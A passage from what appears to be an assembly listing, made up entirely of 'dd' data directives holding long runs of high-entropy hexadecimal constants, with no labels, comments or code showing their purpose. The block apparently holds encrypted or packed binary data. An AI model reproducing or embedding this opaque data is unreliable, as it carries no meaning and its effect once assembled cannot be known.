1AE907E1h, 0E8050076h, 70023249h, 7812DE6h dd 2FDA8FE9h, 1E3F0840h, 9F01476Bh, 80BE0E2h, 0A451E7D7h dd 0B55CBEAh, 0CFD67611h, 0E3A33545h, 12101072h, 8BB12D1Eh dd 0E87C9491h, 0A45D0D93h, 0F76A0A0Bh, 53369400h, 0F7A13E3Fh dd 0D9BD0091h, 0F520EB21h, 53E6BF6Ch, 0E9110161h, 2C83C39Ch dd 4B77A135h, 3780BB8Ch, 1DDFDC68h, 925E1FA8h, 2AE3FFA2h dd 0DD42102Fh, 20A514D5h, 5409A6A7h, 0DDC5685Ah, 8136AA30h dd 49C8FD82h, 0ECBD3122h, 5D8C222Bh, 2CAE144Fh, 4C27E978h dd 80B87336h, 0AD43C905h, 4D2A6878h, 0EAB0571Fh, 0E0164F01h dd 548407Dh, 0F085A0E7h, 0A7C75089h, 6B3941CEh, 284A97F2h dd 0BE045668h, 0E17E89AEh, 316205EBh, 88C8BBD9h, 97EB0F81h dd 5A035665h, 0F231F753h, 9957E5Bh, 92301DEDh, 7DD197A9h dd 0FC803793h, 286CB81h, 687DB13Ah, 43541743h, 0D5388D60h dd 0D6F72D62h, 507E474Ah, 0DFB4613h, 60228E33h, 969FD42Fh dd 0B0CEC1C1h, 60C62830h, 0B1795128h, 35F18026h, 7342C08h dd 705EC135h, 7E106807h, 570907B3h, 2D8C5A14h, 2AF9F369h dd 0F2083D26h, 927C2D6Fh, 0DEDD521Ch, 9F08F053h, 6C324D0h dd 4D2F75Dh, 90F4FEF9h, 0EAD4542Fh, 0EC9B00D9h, 8DE94D2Ah dd 8110FF95h, 6C4C2268h, 9EA0D25Fh, 0B6945C11h, 3B35F204h dd 39C981E3h, 43BD7AADh, 5A1FF897h, 5731FD72h, 0C6734958h dd 68731505h, 335669D8h, 1E09FDE8h, 2F761803h, 0F606B509h dd 3E246F10h, 9A92185Eh, 26C0740h, 43E8CA81h, 9E076382h dd 109628EBh, 5C73E2C0h, 0E9530BF6h, 0EEF7C888h, 0AF0F3E40h dd 0C609277Fh, 69307EE6h, 0EFEDC343h, 0B85CF817h, 12DB9738h dd 677F2C02h, 94ABC33Ah, 44736802h, 0DB20C54Ch, 7F50A26Eh dd 19F6D770h, 8FBF474Ah, 313F18D8h, 184CED4Fh, 8A5D29F8h dd 2C272DFBh, 0A1B3FDDEh, 0C7C9CBC3h, 0EBF55359h, 3C5865BAh dd 45FB054Bh, 566320F5h, 5F1CB060h, 7B096494h, 659B5EA1h dd 79C40711h, 66AAE255h, 1B98E894h, 0C0917A97h, 4373E99Eh dd 7CBF1CC4h, 0FA0820EEh, 9D14701Bh, 31C417FEh, 525B3291h dd 0F121AF2Eh, 0A7832E0h, 5E2F7A94h, 2583A2A8h, 0F8F7465Ah dd 0A196774Dh, 0D6255C4Ah, 0C5D76916h, 388BA546h, 0D37289DFh dd 290BDAAh, 0A6B90136h, 0D1574572h, 0DEE0DFEEh, 582B6849h dd 120BF05Dh, 6F18F442h, 3FB7E172h, 0C160EE9h, 1326F356h dd 0EAFC81A3h, 2FB5BBE5h, 4134446Eh, 0EE1649h, 43BB535Fh dd 7ABCA92Fh, 0EEC1CD18h, 0AA07184Eh, 58440C0Eh, 2618F3Eh dd 0D65D1AF6h, 0D384F52Dh, 0EB6B8880h, 0F633729Dh, 80B05CC0h dd 457280A5h, 657CD63Eh, 2617E17Dh, 4BBB5BFCh, 0E45A844Dh dd 0B6525101h, 0A8C68076h, 0ECF0E6CCh, 0D0DE3BEEh, 88C5166Fh dd 7D4381F1h, 0B8BA0337h, 0BC1E6D15h, 305525CCh, 95ADE976h dd 285B7300h, 0CA652CF8h, 44BB5674h, 5412F0h, 0C6698BBh dd 59533341h, 0CF7B051Ah, 60F080EEh, 0FED1F601h, 3E1C0C1h dd 0B09C16Bh, 94B22E7Bh, 8477F18Bh, 0E2AB02FDh, 93E13B52h dd 1034AD8Ah, 0C50891FEh, 79BB0060h, 11CD2770h, 0AF4DAF20h dd 0A0B72B24h, 5B5EF580h, 0EF2BF2Dh, 3700FDEAh, 0E8295746h dd 977E13E9h, 104B8FF1h, 98C138FCh, 2F33200Ch, 4FEE2976h dd 7BAC7FF9h, 18312F1h, 6A6DE089h, 1DCC684h, 0BD55C101h dd 34FD52Bh, 4A5C74DAh, 64E880ECh, 395CCD6Fh, 4A0890BDh dd 20102287h, 7FD14A48h, 127EE4EAh, 562DE822h, 6C410B55h dd 0D58DEFF9h, 0B07E762Eh, 0B11227A2h, 0F5BEF4CFh, 21FA02E7h dd 0D160E75Eh, 0C02C8308h, 4F350E7Ch, 0F728415Dh, 0BB24E1D9h dd 0EE948DF5h, 564E10D8h, 0E0F80502h, 79C2DD47h, 21F0B542h dd 1F1EE695h, 8D387788h, 601CB2F7h, 254561BDh, 986BAC21h dd 4237EE25h, 78A976E0h, 7F3C9597h, 0D666E913h, 45ECA4DDh dd 9CE6B756h, 79A4C378h, 0AA41D709h, 51B90020h, 12168625h dd 215572E9h, 32767D7Ch, 0E930C95Ah, 0CB3FEDDBh, 13245F92h dd 505EB0EAh, 0B0201BBAh, 5CD8FD9Ah, 0A231B50Ch, 40357B2Bh dd 13515308h, 2ABE0454h, 3B680769h, 8F1B5F6Bh, 99714AC8h dd 16E90712h, 0A0C3AE84h, 0B8CCDD7Fh, 507A55h, 49DC078Eh dd 4AA52558h, 3BEC875Ah, 1AAF0277h, 62E94CD7h, 0F5F3076Bh dd 0D18D7A25h, 6E6703BFh, 0A8B44AC3h, 1FF30442h, 0D081601Ch dd 7DB7417Ch, 22B29273h, 56CEE55h, 5429852Dh, 0D190AF18h dd 459F5A82h, 82070447h, 0D564595h, 0A28C4C0h, 7A56B570h dd 61EB5917h, 2FB4BA08h, 2AA9C7B8h, 579E945h, 0AE07BEFDh dd 0B433E469h, 684ABACh, 7C08E3FEh, 5D19CF69h, 0A1C97BA6h dd 50F6879Dh, 26F046B4h, 0B784480Fh, 9418245Bh, 54E6BE1Ah dd 4B4C0450h, 6B4B9D7Ch, 12C811F0h, 0BB63D90Ah, 0E94B3201h dd 467AD5D6h, 0BD4FF20Bh, 276ECE05h, 428145F9h, 0E1DA67EBh dd 672C6F24h, 60340502h, 0FD586302h, 0BEE50783h, 3BDFC950h dd 7C0DC049h, 6AF4018Eh, 24DEEC35h, 88E2658Ch, 0D3ABAEh dd 8D2DD8F7h, 9B90ED7Ah, 0A36CE5h, 0F647B252h, 73F280D2h dd 11CA3008h, 9DE9300Ch, 4A4365Ah, 0E55100FBh, 64CB8141h dd 60C6C62Dh, 4AD73572h, 7BF7B9EBh, 4BE9FC4Bh, 0D324F910h dd 0B0800A13h, 2E3BF1BFh, 10CD4D73h, 52257FDEh, 0BD467B2Ch dd 1734D098h, 79134CC9h, 741F4E9Fh, 22105549h, 717D3EB2h dd 8816880Dh, 49CF8706h, 9BE4B006h, 9E2931A5h, 0C4CE7A46h dd 0F257658h, 72A36818h, 55188413h, 0FC917606h, 12C50597h dd 91C3112Ah, 7E72C657h, 30C9D891h, 0EF81F8F7h, 0DB2312E5h dd 0C503B226h, 0A1F94A50h, 1D0C6380h, 38B0EA83h, 81373E6h dd 0CCAA22A8h, 9B5DB2DDh, 2BB184B0h, 1F054803h, 0B475B7EFh dd 1FD5EA0Fh, 0FB86C4EFh dd 91354C9Ah, 4011341h, 0DC43F002h, 724AB77Bh, 87E92270h dd 0DD44AAF0h, 0D7208F6Ch, 88E8B743h, 2F279660h, 8F276E7h dd 5F0BBAA9h, 0DB79FC51h, 876180Bh, 0F1BA040Ah, 80B02C4h dd 0E920E55Eh, 50CFEEF5h, 25E91D57h, 0A4546FD9h, 0A8C87AC9h dd 4C6813h, 5F2B1D4Eh, 4486CF81h, 0D6D079FCh, 1FC4C6CAh dd 0E0EA05B3h, 0FF2B2A30h, 87BBA213h, 80EBDE78h, 60325187h dd 3941FCF2h, 0D5F80D5Bh, 3906E192h, 0C2D27C9Ch, 0F7561204h dd 0D74947A7h, 1A510580h, 0D99F605Ah, 0E929ECEEh, 0F92A9C2Dh dd 0EDD08BF4h, 99C418FFh, 79CE2077h, 8212E012h, 2EE8E0E1h dd 0DE336053h, 46AC680Ah, 0D6820481h, 73576F1Eh, 4A512800h dd 0C550BF5Eh, 0DC632D27h, 0BA93CEFCh, 497E1861h, 0ACD73B7Dh dd 0E80B85C6h, 87BBC694h, 0E4597445h, 8EBAD27Ch, 0AF0E5BB5h dd 0C4F8275Ch, 0A286696Ah, 8B00875h, 0F625BA2Ch, 385C5900h dd 204B81C6h, 3A2E2Ah, 4D28A811h, 0E927835Eh, 3CEC4FFh dd 9C45B861h, 96EACD89h, 68257CF8h, 448E0F79h, 0CAED93F8h dd 0F6E062Eh, 5721986h, 0E7E71BBFh, 0DF267B76h, 0C4C3AA45h dd 0EFF51771h, 58BAF5Dh, 1A6A4E15h, 2EE95605h, 0C964EF4Ch dd 43B90E84h, 86482090h, 62F8B673h, 0BB006779h, 4AB5C5DAh dd 0F3C1EAA4h, 0FF04E374h, 0B2BBDEC4h, 5089C923h, 0AF4CA53Fh dd 0A7272ADAh, 2801A0A0h, 0C0335FE9h, 552FEB33h, 0CC03F45h dd 198724C7h, 0EEEA30E9h, 4BD9ED23h, 0D21A8427h, 9008823Ch dd 0BF3BBB18h, 8038339Bh, 0C8FE4E02h, 7060FE5Dh, 2FAD2D24h dd 0AF7A5E0Fh, 755C9D49h, 2C876A82h, 5847915Dh, 853CBE2Ah dd 348C4108h, 0E1955F3Ch, 0A06C7F3Ch, 2E36802h, 5C792791h dd 827FCADh, 7E322D5Ah, 0C08D7128h, 1D7E0540h, 0F82A9F25h dd 58F99D71h, 0EF5FC59Dh, 18F4121Fh, 0D66AF6FAh, 0D2EECAEAh dd 7B10CDABh, 42B3D209h, 5CFDD6BFh, 0EA50FAA8h, 5639FCBFh dd 0DD6838C0h, 0BF25FB0Bh, 0DDC95EC1h, 22E9DC73h, 7DC9E2B5h dd 263FEA45h, 5B810FFAh, 97E7814Fh, 803FF9E1h, 32E4BBF4h dd 0E0316F2Dh, 12A1EF24h, 1A4DD340h, 8099687h, 0DF5A66DCh dd 6BFA67F2h, 7C397127h, 8E68700Dh, 4CE3435Ah, 0B85EF284h dd 44E9F01Fh, 163C835Dh, 27C11987h, 29A766E8h, 7435FE91h dd 0CE7787ADh, 0A1D45825h, 8E7D0202h, 906E2DCDh, 0CEAFE937h dd 38ECA6BEh, 12424843h, 304F9A81h, 0F1E02A07h, 7003B54Eh dd 0FB84612Ch, 35DC80D3h, 0BA12FD06h, 5A2BC498h, 0FA8B7457h dd 5203A5E3h, 3663A3BAh, 5A5B63CFh, 23DB121Fh, 0C3814085h dd 213465E5h, 0B5F4608Eh, 58B643AEh, 78F8C8F8h, 2DBF465Eh dd 0A7733018h, 68E12994h, 0A78864EFh, 581D1120h, 0B3309EACh dd 27AC13EEh, 0CBC8F77Ah, 82253067h, 50E4201h, 0A3EA5E07h dd 7FD7C1B6h, 0FE6C5221h, 703CABD7h, 590920E9h, 1F4FA190h dd 0C0EB6992h, 773EF9D0h, 0ECF3004Bh, 21EE6C36h, 942DE9D9h dd 772F292h, 3EBB02CEh, 19DEC65Ah, 159B74BFh, 957E9C66h dd 2DBF1357h, 9C54D118h, 269064EFh, 28E229EEh, 0D2AF2F61h dd 0C0E720A4h, 3D27597Ch, 0F43E6F6h, 0E5B05053h, 0AE6B6DA4h dd 0BEE142B8h, 4BAEE89Eh, 0E1FCF75Ah, 0B8500307h, 5D70E2F2h dd 89A3E17Fh, 0BD2B4F71h, 0D7E909C6h, 0BB32DFCFh, 0B281F47Ch dd 74A8E94Eh, 6BDEA548h, 0D4412D87h, 0D0BB005Ah, 0CF862556h dd 3B296441h, 32896E5h, 0EAE464B3h, 3051F92Dh, 0B36A3BDAh dd 0D7298E5h, 4174B1C1h, 765CBB68h, 40773D7Ch, 96139259h dd 0AF58E597h, 6800E2CFh, 7C580C43h, 839230E9h, 6C656AF4h dd 0D3945EBDh, 181BACBBh, 3B257BBBh, 9AAA7255h, 26A07F7Ah dd 3651653h, 3AE3301Ch, 3769BBC0h, 0EE2B4C2Ch, 0C501CFA8h dd 0E910C066h, 27D64A1h, 8676C605h, 0C542E006h, 0EE8708A0h dd 131E5D48h, 3DF82642h, 0AE409BC4h, 20CC7ECDh, 0F9714BEDh dd 500CD0ECh, 255A4364h, 0DED19211h, 53A76EAEh, 44F5496Bh dd 47206C01h, 621794CEh, 0D5F057FCh, 0AA9E09F2h, 3880F4E0h dd 0DD31585Ah, 8D2EBE4h, 0D15309BBh, 24F5DD00h, 7C14C24Ch dd 176AE801h, 0A4255688h, 18AF1FAEh, 0D820B378h, 38BE665Bh dd 0CB2D6816h, 9133463Eh, 26ADBEA4h, 0CFFEAE91h, 74EB7AD1h dd 7B0E2D44h, 0B327F365h, 0BA9553BEh, 847F03E1h, 38B6EA77h dd 0FCC652DDh, 0E21C5C38h, 0BC8271E4h, 3BC4A14Bh, 280E2DABh dd 0DBEF925Fh, 8568158Dh, 14E912D9h, 15098665h, 165DF2EBh dd 841D9C05h, 4E98FA0Eh, 0F52C410Eh, 617160E7h, 15782A01h dd 7E6C146h, 1CC5E131h, 457038FDh, 0D1EB28F2h, 5EF725D7h dd 1084E57Fh, 31417A14h, 392BBE80h, 552D061Fh, 0CCD8D13Fh dd 5A562D06h, 39650F8Fh, 758BB457h, 0C9EB4010h, 0ECA1A716h dd 60C4C9FAh, 0D995C390h, 2F4F5092h, 0EB55180h, 80C5FE6Bh dd 0EDC0F841h, 5B1D3F03h, 0F5CE275Eh, 59E80115h, 0CB6A6004h dd 0C33013ECh, 27E72D08h, 0D7A043DCh, 0FDC3ABB5h, 3F5FAE49h dd 3C475680h, 0B86474ECh, 7921EA93h, 7110986Bh, 5B552615h dd 0B45609FDh, 9FFBB4D7h, 4267F283h, 2AAD54Fh, 478740C5h dd 41C1B282h, 2F803DDCh, 6870676Ch, 3388EDB6h, 52273F8Bh dd 0BB3C2F78h, 2AAEDAC8h, 19E0AC4Eh, 0A86BE125h, 6859C2F5h dd 0C7185C8Fh, 310CF858h, 4EDF20CBh, 0C112BD54h, 3AD23DCDh dd 28A6B12Fh, 0E4C007D1h, 8031D005h, 0BC2498C4h, 1321B44Ch dd 3DB205BDh, 0CB01AA69h, 46F371AAh, 9577E30h, 4D34F622h dd 0A0451483h, 2955A49Ah, 408B0867h, 1021BB80h, 0B04352C7h dd 12150EB7h, 0E3C03FC6h, 28D07CA3h, 170CCBF8h, 182B1A25h dd 0C56005C4h, 0A06FE916h, 0D01EF6BEh, 0D24BB82Ch, 16B650B3h dd 1EE8D140h, 0FC2D03F8h, 89F24D71h, 36DF78C3h, 0B90C5801h dd 0C76296Ah, 713000D1h, 0D3874331h, 8D9D2F7h, 80C0EB98h dd 2330E584h, 0C03A1A07h, 6AFF0C0Ch, 52D06051h, 0F4A25BE9h dd 65BD0C0Eh, 0F41EADCFh, 354E918h, 94E7D110h, 172C2CABh dd 3D39AF5Ch, 5F434D20h, 64492906h, 6A419412h, 4CE9A60h dd 0F777264Fh, 9FEC83DBh, 41FDB4F2h, 876458C5h, 0B7127018h dd 0B754927Ch, 0F39FB550h, 3126084Ah, 20DCD82Fh, 0A9A38E0Bh dd 70F22E8h, 944BC5F6h, 491E27FEh, 0B4B786DFh, 0B146D32Dh dd 0E4CF2914h, 11A9BC95h, 2A7E6882h, 96907B46h, 0FF228C18h dd 97516CE6h, 483047E4h, 3AEB670Ch, 947C5C21h, 0BF0B5916h dd 68572E70h, 5316171Dh, 2246A040h, 93C53F24h, 5432B43Ch dd 61724A87h, 28E67D73h, 9936BC31h, 0B72F17D9h, 77999201h dd 5DC23AF5h, 54A51D53h, 4E70CB73h, 0E985D29Eh, 6AB99EA4h dd 0F00ECF07h, 0D651B23Ah, 0E10417E4h, 653F5FDAh, 786C3BC0h dd 9E1F7C55h, 35B709D6h, 48B148DFh, 17492D0Dh, 0F48B2BF4h dd 42CFA6BCh, 78D0BF02h, 1E5A231Fh, 5BE36BD9h, 2445D197h dd 0CA17C21Ah, 54E298DDh, 0BC77955Fh, 49CF5A47h, 9B67EAF0h dd 7CC527h, 232F6853h, 0E7A0505Eh, 0F1B726BAh, 37A362CCh dd 8D1F9F7h, 5C16A01Fh, 30EE2C02h, 0C44EF6E8h, 0E016EA0Dh dd 7618208Bh, 0CC7AB31h, 7ADA6712h, 6F1C4FACh, 8B74ADF3h dd 0E9080630h, 558B9FF6h, 0B4C26868h, 0BA962313h, 55B11C0Fh dd 0C621282Eh, 0D488059Eh, 801C458Bh, 28276F61h, 0D238305Ch dd 7048ED06h, 2F5B32E9h, 6857EF9Bh, 0E95D68FAh, 3D100D66h dd 0D1307C39h, 53D92CEFh dd 0B54E4FDAh, 5F9CEF73h, 0B4614382h, 13EBE04Ah, 62669469h dd 0F3FF46D0h, 0B592FD2h, 72262760h, 0B3E91266h, 0B0B5AAB7h dd 2C21F330h, 19EDDDF6h, 99AC10F4h, 1B122906h, 0E95E207Eh dd 4DB712FAh, 21E9853Eh, 0E091A88Dh, 270514BEh, 386027C9h dd 353FD0F7h, 0C0109E1Eh, 0E2E9C287h, 0A24B5FC9h, 5B1FC1Dh dd 98A05AD6h, 5E08A3C7h, 0BFD4C5FAh, 65268661h, 6B043301h dd 0E996D8A8h, 4D42860Ch, 2AD37769h, 0CB613DBh, 79F00AF2h dd 0C00BC2C0h, 0F5665A3Dh, 1ECA4880h, 3E5C9475h, 69460407h dd 0EA81152Eh, 23D106E6h, 34D4C9D9h, 0E9670BF4h, 0CD922DD5h dd 97B37857h, 4025A378h, 4F7FF476h, 25F0AD1Fh, 0F0FBD6B7h dd 64B435ECh, 16277C6Ch, 116B749h, 848B8989h, 789C4007h dd 7C5A9068h, 80126B5h, 82905059h, 2F7452F5h, 95B3F835h dd 52A7B0DDh, 187F2668h, 0A81E2F0h, 9C0CF42h, 455B5206h dd 136F5BF0h, 0C0220E58h, 5A422918h, 0DFE9620Dh, 0C501E15Fh dd 12712111h, 0C6DCF23Eh, 0C2B93B5h, 0E65075E2h, 0FD79C25Ah dd 0E9B66106h, 132C40ACh, 0F0884DB2h, 0AFF906A1h, 9F5FF036h dd 827DC96Ah, 0D91E6705h, 722980B7h, 0FD210155h, 546FA297h dd 0FC9AFD53h, 59174977h, 0C565A23Bh, 8832313Ch, 50816052h dd 1AA11806h, 0DE5C825Bh, 7DEA6A25h, 6569A20h, 0E9184494h dd 293E3375h, 10559DEEh, 0BA45DE0Bh, 4D692008h, 4452ADF4h dd 54D105CBh, 97C07395h, 0A0973BE7h, 5A0EBF4h, 1767021h dd 4DCCBEDFh, 57A535E9h, 0CA0D02A9h, 9B425859h, 55953A78h dd 0F4926A9Ch, 94A8B1BDh, 0BD02A928h, 315F16D4h, 4CC783F7h dd 0E2BB8417h, 0E955C1B7h, 4E344F88h, 5BD0B802h, 1E0B401Dh dd 8109F47Dh, 6D4CF60Bh, 0EE950019h, 5FCC08B7h, 8A3A610Eh dd 0E527388Ch, 76074580h, 27029022h, 0AE715786h, 3AAA003Ch dd 0CF21E7A4h, 34F5B59h, 54D05696h, 0FB4A03FAh, 6DEF086h dd 0CEE8D64Ah, 0BE09A819h, 42C87E21h, 657B265h, 4F17BEB9h dd 69BD8832h, 0E9D829CCh, 64829F27h, 0C6A13888h, 2B170768h dd 5626659Ah, 1CF70026h, 0DBE1538h, 53B0E37Fh, 8DE9CE16h dd 0A2BA7485h, 6388A5A3h, 0F9114B7Bh, 7E71D24Bh, 0FE2AEFB3h dd 5D8A6631h, 0C488E36Bh, 0F1C003EEh, 39F7D974h, 0E90901F2h dd 0DE74F692h, 86F08469h, 1854B2EEh, 0A278C329h, 56F63853h dd 10FD52A7h, 0BCC289DAh, 847D5A6Bh, 0FCBA291Dh, 12479E5Eh dd 0ED601A7Fh, 5BADC66Fh, 5E51ACE1h, 1168B1A1h, 946BD313h dd 0EEB213F9h, 7B052785h, 73A3D733h, 5BC02E79h, 0C45FDB76h dd 0AE96FEECh, 0BD085979h, 2F2C9EF4h, 0D095DD96h, 0F970D7CAh dd 3FE9A119h, 14B57F64h, 0ABEE288Ch, 0BCB4C329h, 379DA816h dd 0B78C89F7h, 0DA9F2D68h, 25B5BDEh, 52ED68B4h, 0D03CF9A2h dd 0A0024106h, 3F7C068Dh, 281C5FEDh, 147D253Dh, 0BF572DA9h dd 0E915695Ah, 28A14EC4h, 0ED20B741h, 0F6AEAA63h, 7CEF8CC4h dd 0DCBDB292h, 33C7CBC7h, 43E28997h, 2B250058h, 9762D5F6h dd 0F15D29CBh, 67DA0C5Ah, 0BE98AD0Ah, 0B1614724h, 8D2F0769h dd 5F745CB2h, 0EB3A7F02h, 0E102DC5Dh, 0C22F7B68h, 830B5377h dd 68565255h, 406062A0h, 0D6484490h, 0C6E12907h, 0DCA5BAAEh dd 0D542F66h, 9587E950h, 0E8F2B15Ah, 325721E7h, 0DE881139h dd 439BC05Fh, 98BF29EAh, 9A48DD57h, 7606BF66h, 95C2C03h dd 85FE4E91h, 0B6DABA45h, 0D0F79548h, 257A575Dh, 0B73E0F09h dd 0BE005702h, 0FC2D4048h, 171C030Fh, 9DAC7229h, 0F90252DAh dd 61493DACh, 0CE0E256h, 747DCA54h, 68A2322Eh, 90657FA5h dd 0DF4E9D8Bh, 68B44798h, 0E81B0D24h, 2C032B00h, 4AA4E99Bh dd 5121BE91h, 0DC48695Ah, 8AF9B7EBh, 0D2C23813h, 0C914575Bh dd 95BA9495h, 8B93E1A4h, 0D81650DAh, 4B8C3B02h, 0E208EEC1h dd 4F32118h, 2CFD2881h, 0C1C65BD1h, 842BC668h, 2C29AECh dd 41E9535Ch, 43815627h, 683B5D5Fh, 581F90B5h, 884D0524h dd 81035029h, 0D20EE0CDh, 0A626796Bh, 7775010Eh, 62495AA3h dd 0D0E066Bh, 4110C56h, 127F86C1h, 1AE8EB68h, 0DE7EED27h dd 0F815E989h, 4AB8058Ah, 0EB70EA5Fh, 3B826574h, 6EE20C36h dd 7BCC194Fh, 1DAFCA9h, 6DC98146h, 3F4D9914h, 324733C3h dd 0C4365928h, 0B9171A54h, 0BE2940A4h, 0A068E123h, 93C83818h dd 23C9C106h, 0E1805C47h, 57733079h, 4AE7BD8Dh, 0D265D730h dd 48EA09D1h, 45282167h, 0C7B0BA8h, 2180433Fh, 7E796560h dd 95C78B5h, 6E903A06h, 43D0F700h, 315F823Ch, 5D25B5FDh dd 329F80FFh, 580D2960h, 740025Ah, 0D1012558h, 555AE7FCh dd 0FDBF51F9h, 1936A983h, 50F74A7Ah, 1C8003DAh, 61F240EFh dd 0E928C27Ch, 0BC39172Ah, 5C3EF07Dh, 0CEAFCE9Fh, 486809E3h dd 6EDD546Ah, 0D0313EECh, 58303105h, 9DFC5B5Ah, 0C18CEFD3h dd 0FA6C4EB7h, 0C6689342h, 871BDD48h, 0B8D94BCBh, 5744A769h dd 0E912CE3Ch, 0F3BF7147h, 18BA107Bh, 6551EC4Fh, 0ECA85A98h dd 254D961Ch, 0E7964EF7h, 3CD0FD02h, 99F8893Bh, 400EAAF0h dd 6D87907Eh, 7C481933h, 1C90046Eh, 7C803A5Ch, 25B90870h dd 69FD550Dh, 42985DE6h, 0F1F79BE6h, 69F5D4BFh, 0CC4DD1D7h dd 0FE805FA4h, 11525CC5h, 97F1302Fh, 16B014E9h, 0A5A348E9h dd 4018E8F6h, 60833E3Bh, 5E26B513h, 1639014h, 4CDF46F7h dd 8043BCE9h, 722ACF35h, 7B680DD8h, 2CF4ACC9h, 8F1B1520h dd 0B10BD529h, 69717042h, 0F7034D24h, 81136184h, 1B63F921h dd 3BA7F10h, 3FEDB7BDh, 5E85D2CFh, 34F7274Fh, 4F9FB0E5h dd 84FCE917h, 0DBE85ECAh, 30F6DDD2h, 29134A29h, 42AC4637h dd 668274Dh, 0A2910CF4h, 0A47CEEF1h, 5CF1EA25h, 0A1E38885h dd 424ABB00h, 256831FEh, 4346471Dh, 0D8845491h, 81AB5053h dd 6C62A64Eh, 0CCAAD366h, 4C4EF989h, 1292B8CCh, 0EA013B02h dd 3F5E37D0h, 0FA87A0B1h, 389C5DE9h, 43286809h, 0F7C27D9Bh dd 0E917F358h, 7D405D92h, 0B039F181h, 896B1971h, 2EB1CC8h dd 0D02E4004h, 9C38E268h, 0E8B6620Fh, 0F788B2DEh, 7C58252Dh dd 47E2514Fh, 8AAFC4h, 3C192548h, 5470FFDh, 0BBA1C803h dd 2BBC77E9h, 0AA4A64EEh, 13C62EB8h, 0B84EBB30h, 0B29475C5h dd 0F66838BEh, 5EBBF95Bh, 0AE3E97CBh, 12EB039h, 5DD05E8Fh dd 3893C42h, 6B7F8DC2h, 380C051Eh, 0EC4F9D1Dh, 2E3D3CF4h dd 0D5A58610h, 0F798ABE7h, 4B06687Eh, 0C5FAA928h, 6A5168Ah dd 0AA584ADCh, 7D6ECAC3h, 0D7E9167Eh, 0ED90C496h, 621F8412h dd 432E3B04h, 908068ABh, 0F0F20D4Fh, 0EEED97C4h, 0EF1296A3h dd 0C8FAF56Ch, 2C28145Ah, 0EA508901h, 0C34BE908h, 155D81ECh dd 1BF3872Dh, 1E84D527h, 0CFB0FBBEh, 255D9729h, 0A4B5E8D4h dd 0C540A47Eh, 5E573D1Ah, 8E7D4089h, 5F98BD71h, 0DE82A6E8h dd 770905DDh, 0B38AEB1Ch, 15D4E9C2h, 575017C8h, 73CF59BDh dd 0CBB27407h, 0D40444B4h, 255B7181h, 0C9FE839Dh, 8CD97CACh dd 0A4EE5112h, 0F503BBEEh, 312A1022h, 33BEE1FBh, 4C8DF73Ah dd 1D7D1F52h, 6CE94482h, 0C8197E8Ah, 0EA4C12D9h, 0D910CF74h dd 0C3914BC0h, 3980413Ch, 39A63F69h, 0D873F740h, 455B13FCh dd 0BFB468ADh, 8B160A64h, 686BDDBBh, 816B474h, 87173FF9h dd 0C2CCEEE2h, 15D74089h, 6961B941h, 1B8D7281h, 2B10B168h dd 1882D535h, 81427E78h, 2E3972EEh, 1CF52E6Fh, 0E9960800h dd 3C8FF7C1h, 0CF4778BAh dd 341AA262h, 65EB8001h, 351DEE2Ah, 5BEED665h, 93D9617h dd 3C388989h, 810205ACh, 132CF67h, 0BBDAFFF8h, 8E00C15Bh dd 60163DF6h, 0F031247Ah, 9D355847h, 13445C26h, 2076D027h dd 51079AF4h, 4636852h, 0DA093845h, 0FB8AE4B9h, 316B1D21h dd 2A055BBEh, 4F7AF7F6h, 3EF9B17Bh, 0E9B085B9h, 48952568h dd 808BD6F0h, 541EAFBEh, 0A59659F9h, 0D8FA34C4h, 0ECB28823h dd 4A90B5F4h, 0B1002A41h, 76B151DBh, 0F332E4C9h, 3A5026FCh dd 0BDA5E8B0h, 58F5CFE2h, 94835E32h, 624F89E0h, 0BF57C0C9h dd 0EB65FA5h, 2003E907h, 49DCEA16h, 183CBCD9h, 6356585Dh dd 29D4B8B5h, 4F67D4F5h, 0FFCAF417h, 84D338D8h, 90210620h dd 518F25D3h, 0C4788E5Eh, 6AC89D2Bh, 283FC3B2h, 0C05A17D0h dd 10C0703h, 7CE9C9F6h, 0F05CB7AFh, 0F3DFA042h, 0F02FB87Fh dd 6841CBD1h, 0E797214Ch, 2BD5F18Ch, 88C161FDh, 2F25E9E1h dd 0EDEF7584h, 0E953A19Eh, 481F50C6h, 6887612Dh, 0FB673CDAh dd 8839E7B2h, 14C72FF0h, 475A655Ah, 45B7BBD5h, 88481375h dd 53F2BA41h, 0FE5450C4h, 0E95ECC9Bh, 0CE755A2Dh, 0E98B78BEh dd 12F6CB27h, 52668EA4h, 70BD0240h, 0C164AA45h, 0B4589632h dd 724A8259h, 5D1E56h, 5C937A97h, 0AD0A0CC0h, 0B829CAA1h dd 0FD38E359h, 0B036990Bh, 0BB53C8A2h, 81008A45h, 0AA30D7CAh dd 0BE2EC6Bh, 1AA431E8h, 6A730D80h, 4A126EB7h, 964201E9h dd 0DC3EEA68h, 0F1A0652Bh, 9CB82E91h, 0FFA3BFF4h, 39DD5789h dd 0A2B6F47h, 13865FD1h, 0BE06494Dh, 91081A51h, 125E245Ah dd 0BA45A05Fh, 0F12F4C96h, 845490Dh, 28A81188h, 22340BD1h dd 31D04996h, 5D4D1032h, 0C092BBEAh, 0B0EB7FFCh, 13F42459h dd 402D87B3h, 36054120h, 77088F71h, 0F8298611h, 330FDD1Eh dd 0BDEB551Fh, 0C8E93215h, 4ABE02FCh, 0DD24AA07h, 0F8D784CAh dd 0FEE912F6h, 45F2BF31h, 4F0B5C2Fh, 0A7CAEDFFh, 9752145Fh dd 9D7A1E55h, 0E912CB1Ch, 0B2EE8993h, 0B3BFD2FEh, 0B4124E45h dd 8C9F9ACh, 0AD0D348h, 94629794h, 0F8020EBBh, 0A9512D2Ch dd 0C24DB342h, 966D56B4h, 0D356AAEEh, 0A4163292h, 1AAE41D1h dd 84770625h, 8ABD2059h, 0F882D605h, 7CA10869h, 4FC3310Eh dd 0C9DD25D8h, 246873CCh, 892C28D1h, 0FB5C9322h, 0FEC3818Bh dd 0BF78BBEAh, 0E4C0F6EAh, 0C1809E5Fh, 260278E7h, 50896073h dd 30FAEE01h, 5DCDFA4Fh, 7F857BECh, 416C4642h, 0A014000Ch dd 152D4D46h, 0F0B6F75Dh, 6E9398A0h, 0EE204681h, 0D410227h dd 63CB6862h, 20C2BEB3h, 0E2C99E7h, 97F96652h, 0D69A32C2h dd 8B08F677h, 20218868h, 2A5DFCE9h, 0E9623CFFh, 2480C24Ah dd 9566F788h, 1AE0084h, 33C86BBh, 4ABC8F60h, 8018651Fh dd 446DCA95h, 1F014E3Bh, 0FAC05053h, 0E97EBE16h, 33EA602Fh dd 0A651047h, 0BD554801h, 47D5C1Dh, 69ABFD7Eh, 